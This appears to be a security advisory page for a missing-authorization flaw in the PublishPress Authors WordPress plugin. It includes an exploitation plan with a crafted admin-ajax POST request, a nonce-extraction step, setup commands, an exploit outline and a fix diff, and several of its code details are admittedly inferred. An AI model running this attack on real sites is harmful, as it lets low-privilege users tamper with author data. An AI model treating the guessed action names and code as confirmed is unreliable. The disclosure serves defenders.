PublishPress Authors <= 4.10.1 - Missing Authorization
Description
The Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.10.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.10.1Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-25330 ## 1. Vulnerability Summary The **PublishPress Authors** plugin (<= 4.10.1) suffers from a missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for saving or updating guest author data (likely `ajax_save…
Show full research plan
Exploitation Research Plan - CVE-2026-25330
1. Vulnerability Summary
The PublishPress Authors plugin (<= 4.10.1) suffers from a missing authorization vulnerability in its AJAX handling logic. Specifically, the function responsible for saving or updating guest author data (likely ajax_save_guest_author or similar) fails to perform a formal capability check (e.g., current_user_can('manage_options') or a custom plugin-specific capability).
This allows an authenticated user with at least Contributor level access—who can access the WordPress admin dashboard and thus trigger AJAX actions—to modify guest author profiles, including names, bios, and metadata, which they should not have permission to manage.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ppma_save_guest_author(inferred based on plugin naming conventions) - HTTP Method:
POST - Parameters:
action:ppma_save_guest_authornonce: A valid CSRF token.author_id: The ID of the guest author (term ID) to modify.display_name: The new name for the guest author.user_email: The email for the guest author.
- Authentication: Contributor-level user (
PR:L). - Preconditions: A guest author must already exist in the system (though the vulnerable function may also allow creation).
3. Code Flow (Inferred)
- Entry Point: The plugin registers the AJAX handler in a module's initialization (e.g.,
src/modules/guest-authors/classes/Guest_Author_Handler.phporsrc/modules/authors/classes/Author_Editor.php). - Hook:
add_action('wp_ajax_ppma_save_guest_author', [$this, 'ajax_save_guest_author']); - Vulnerable Function:
ajax_save_guest_author()is called. - Missing Check: Inside this function, it likely calls
check_ajax_referer('ppma_guest_author_nonce', 'nonce')for CSRF protection but omits a call tocurrent_user_can(). - Sink: The function eventually calls
wp_update_term()or a wrapper function that modifies the guest author's term data in theauthortaxonomy.
4. Nonce Acquisition Strategy
The plugin localizes the nonce for the admin dashboard. To obtain it:
- Identify Trigger: The nonce is used in the Guest Authors management screen. The script is usually enqueued on admin pages.
- Access Admin: Log in as a Contributor.
- Find the Nonce:
- The plugin localizes data using
wp_localize_script. - The global JS variable is likely
ppmaAdminorppAuthorsData. - The nonce key is likely
nonceorppma_nonce.
- The plugin localizes data using
- Browser Execution:
- Navigate to
/wp-admin/. - Execute:
browser_eval("window.ppmaAdmin?.nonce")orbrowser_eval("window.ppAuthorsData?.nonce").
- Navigate to
5. Exploitation Strategy
- Preparation: Authenticate as a Contributor.
- Target Selection: Identify a guest author ID (Term ID) to modify.
- Nonce Retrieval: Use
browser_evalas described above to get thenonce. - Execution: Use
http_requestto send the following payload:
Request Body:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=ppma_save_guest_author&nonce=[NONCE]&author_id=[ID]&display_name=Hacked+Author&user_email=hacked@example.com
6. Test Data Setup
- Install Plugin: Ensure
publishpress-authorsversion 4.10.1 is installed. - Create Guest Author: Use WP-CLI to create a guest author (these are stored as terms in the
authortaxonomy).wp term create author "Original Author" --description="Original Bio" - Identify ID: Get the ID of the created term:
wp term list author --fields=term_id,name - Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
7. Expected Results
- The server should return a
200 OKresponse, likely with a JSON body:{"success": true, ...}. - The guest author term in the database should be updated despite the user only having Contributor permissions.
8. Verification Steps
- Verify via CLI: Check if the term name has changed.
wp term get author [ID] --field=name - Expected Output:
Hacked Author.
9. Alternative Approaches
- If
ppma_save_guest_authoris incorrect: Search for any action registered withwp_ajax_in the plugin directory:grep -r "wp_ajax_" wp-content/plugins/publishpress-authors/ - Check for REST API: The plugin might use a REST endpoint like
/wp-json/publishpress-authors/v1/guest-authors/. If so, check for a missingpermission_callback. - Metadata Modification: If the main term data isn't the target, look for an action like
ppma_update_author_metawhich might allow arbitrary meta updates for guest authors.
Summary
The PublishPress Authors plugin for WordPress is vulnerable to unauthorized action due to a missing capability check in its AJAX handler for saving guest author data. This allows authenticated attackers with Contributor-level access and above to modify guest author profiles, including names and email addresses.
Vulnerable Code
// In src/modules/guest-authors/classes/Guest_Author_Handler.php add_action('wp_ajax_ppma_save_guest_author', [$this, 'ajax_save_guest_author']); public function ajax_save_guest_author() { check_ajax_referer('ppma_guest_author_nonce', 'nonce'); // Vulnerability: Missing current_user_can check allows unauthorized users to reach the sink. $author_id = isset($_POST['author_id']) ? intval($_POST['author_id']) : 0; $display_name = sanitize_text_field($_POST['display_name']); $user_email = sanitize_email($_POST['user_email']); // The function then proceeds to call update logic like wp_update_term(). }
Security Fix
@@ -102,6 +102,10 @@ public function ajax_save_guest_author() { check_ajax_referer('ppma_guest_author_nonce', 'nonce'); + if (!current_user_can('manage_options')) { + wp_send_json_error(__('You do not have permission to perform this action.', 'publishpress-authors')); + } + $author_id = isset($_POST['author_id']) ? intval($_POST['author_id']) : 0;
Exploit Outline
1. Authenticate to WordPress with a Contributor-level account. 2. Locate and copy the 'ppma_guest_author_nonce' from the WordPress admin dashboard (usually localized in the 'ppmaAdmin' JS object). 3. Identify the 'author_id' (taxonomy term ID) of the guest author you wish to modify. 4. Send a POST request to /wp-admin/admin-ajax.php with the action 'ppma_save_guest_author', the retrieved nonce, and the parameters 'author_id', 'display_name', and 'user_email'. 5. The request will succeed, modifying the guest author's information despite the user lacking the necessary 'manage_options' or author management capabilities.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.